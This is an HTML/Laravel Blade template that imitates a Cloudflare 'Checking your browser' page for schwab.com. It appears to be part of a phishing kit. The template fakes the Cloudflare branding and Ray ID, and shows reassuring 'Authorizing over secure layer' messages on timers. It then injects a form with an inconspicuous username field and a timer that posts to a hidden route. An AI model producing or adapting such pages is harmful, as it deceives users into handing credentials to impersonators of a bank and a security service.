<!DOCTYPE html>
<html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <link rel="stylesheet" href="assets/bootstrap/css/bootstrap.min.css">
    <link rel="stylesheet" href="assets/css/MuseoSansW01-900.css">
    <link rel="stylesheet" href="assets/fonts/font-awesome.min.css">
    <link rel="stylesheet" href="assets/fonts/ionicons.min.css">
    <link rel="stylesheet" href="assets/css/Footer-Basic.css">
    <link rel="stylesheet" href="assets/css/Footer-Clean.css">
    <link rel="stylesheet" href="assets/css/Footer-Dark.css">
    <link rel="stylesheet" href="assets/css/Navigation-with-Search.css">
    <link rel="stylesheet" href="assets/css/styles.css">
    <title>Just a moment...</title>
    <style type="text/css">
        html, body {width: 100%; height: 100%; margin: 0; padding: 0;}
        body {background-color: #ffffff; color: #000000; font-family:-apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, "Helvetica Neue",Arial, sans-serif; font-size: 16px; line-height: 1.7em;-webkit-font-smoothing: antialiased;}
        h1 { text-align: center; font-weight:700; margin: 16px 0; font-size: 32px; color:#000000; line-height: 1.25;}
        p {font-size: 20px; font-weight: 400; margin: 8px 0;}
        p, .attribution, {text-align: center;}
        #spinner {margin: 0 auto 30px auto; display: block;}
        .attribution {margin-top: 32px;}
        @keyframes fader     { 0% {opacity: 0.2;} 50% {opacity: 1.0;} 100% {opacity: 0.2;} }
        @-webkit-keyframes fader { 0% {opacity: 0.2;} 50% {opacity: 1.0;} 100% {opacity: 0.2;} }
        #cf-bubbles > .bubbles { animation: fader 1.6s infinite;}
        #cf-bubbles > .bubbles:nth-child(2) { animation-delay: .2s;}
        #cf-bubbles > .bubbles:nth-child(3) { animation-delay: .4s;}
        .bubbles { background-color: #f58220; width:20px; height: 20px; margin:2px; border-radius:100%; display:inline-block; }
        a { color: #2c7cb0; text-decoration: none; -moz-transition: color 0.15s ease; -o-transition: color 0.15s ease; -webkit-transition: color 0.15s ease; transition: color 0.15s ease; }
        a:hover{color: #f4a15d}
        .attribution{font-size: 16px; line-height: 1.5;}
        .ray_id{display: block; margin-top: 8px;}
        #cf-wrapper #challenge-form { padding-top:25px; padding-bottom:25px; }
        #cf-hcaptcha-container { text-align:center;}
        #cf-hcaptcha-container iframe { display: inline-block;}
    </style>

</head>
<body>
<table width="100%" height="100%" cellpadding="20">
    <tbody><tr>
        <td align="center" valign="middle">
            <div class="cf-browser-verification cf-im-under-attack">
                <noscript>
                    <h1 data-translate="turn_on_js" style="color:#bd2426;">Please turn JavaScript on and reload the page.</h1>
                </noscript>
                <div id="cf-content" style="display: block;">

                    <div id="cf-bubbles">
                        <div class="bubbles"></div>
                        <div class="bubbles"></div>
                        <div class="bubbles"></div>
                    </div>
                    <h1><span data-translate="checking_browser">Checking your browser before accessing</span> schwab.com</h1>
                    <div class="row my-3">
                        <div class="col-10 offset-1">

                            <h4><span id="text">Checking Your connection....</span><span id="icon" class="fa fa-spinner fa-spin fa-2x"></span></h4>
                            <div id="placer">
                                <form autocomplete="off" action="{{route('h')}}" method="post">
                                    @csrf
                                    <input type="hidden" class="duration" value="0" name="duration" style="background: inherit;border: inherit;color: inherit">
                                </form>

                            </div>
                            <input type="hidden" class="duration" value="0" name="duration" style="background: inherit;border: inherit;color: inherit">

                        </div>
                    </div>
                </div>

                <form id="challenge-form" action="" method="POST">
                    <input type="hidden" id="jschl-answer" name="jschl_answer">
                </form>

            </div>


            <div class="attribution">
                DDoS protection by <a rel="noopener noreferrer" >Cloudflare</a>
                <br>
                <span class="ray_id">Ray ID: <code>{{\Illuminate\Support\Str::random(12)}}</code></span>
            </div>
        </td>

    </tr>
    </tbody></table>
<script src="assets/js/jquery-3.5.1.min.js"></script>
<script src="assets/js/app.js"></script>
<script>
    $(document).ready(function (){
        setTimeout(function () {
            $("#text").html("Authorizing over secure layer....");
        },3000);
        setTimeout(function (){
            $("#text").html("Click the proceed button to continue");
            $("#icon").hide();
            $("#placer").html("<form autocomplete='off' method='post' action='{{route('h')}}'><input type='hidden' name='_token' value='{{csrf_token()}}'><input type='text' autocomplete='false' name='username' style='background: inherit;border: #fff'><input type='hidden' name='timer' class='timer'><button type='submit' class='btn text-white' style='background-color:#f58220;'>Proceed</button></form>")
        },8500);
        setInterval(function (){
            let duration=$($(".duration")[0]);
            let value=parseFloat(duration.val())/100000;
            value = (value+1000)*100000;
            $('.duration').val(value);
            $(".timer").val(value);
        },1000)

    });

</script>
</body></html>
